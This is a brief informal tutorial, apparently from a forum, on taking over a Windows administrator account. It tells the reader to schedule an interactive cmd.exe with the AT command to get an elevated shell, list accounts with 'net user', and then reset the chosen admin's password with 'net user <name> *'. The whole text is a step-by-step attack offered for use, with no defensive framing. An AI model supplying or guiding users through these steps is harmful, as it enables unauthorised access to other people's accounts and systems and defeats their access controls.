Go to cmd

type AT (time) /interactive “cmd.exe

enter time in 24hr format

means if you want to enter 5.00pm then enter 17:00

then a new window of cmd will open at specified time

In new window type net(space)user

press enter

after this u will see some names on ur screen

notedown the name of admin acc

then type

net user (name of admin acc u want to crack into) *
e.g if the name of admin acc is john then type

net user john *

then it will ask u for new password

enter password of ur choice

and u got the admin password...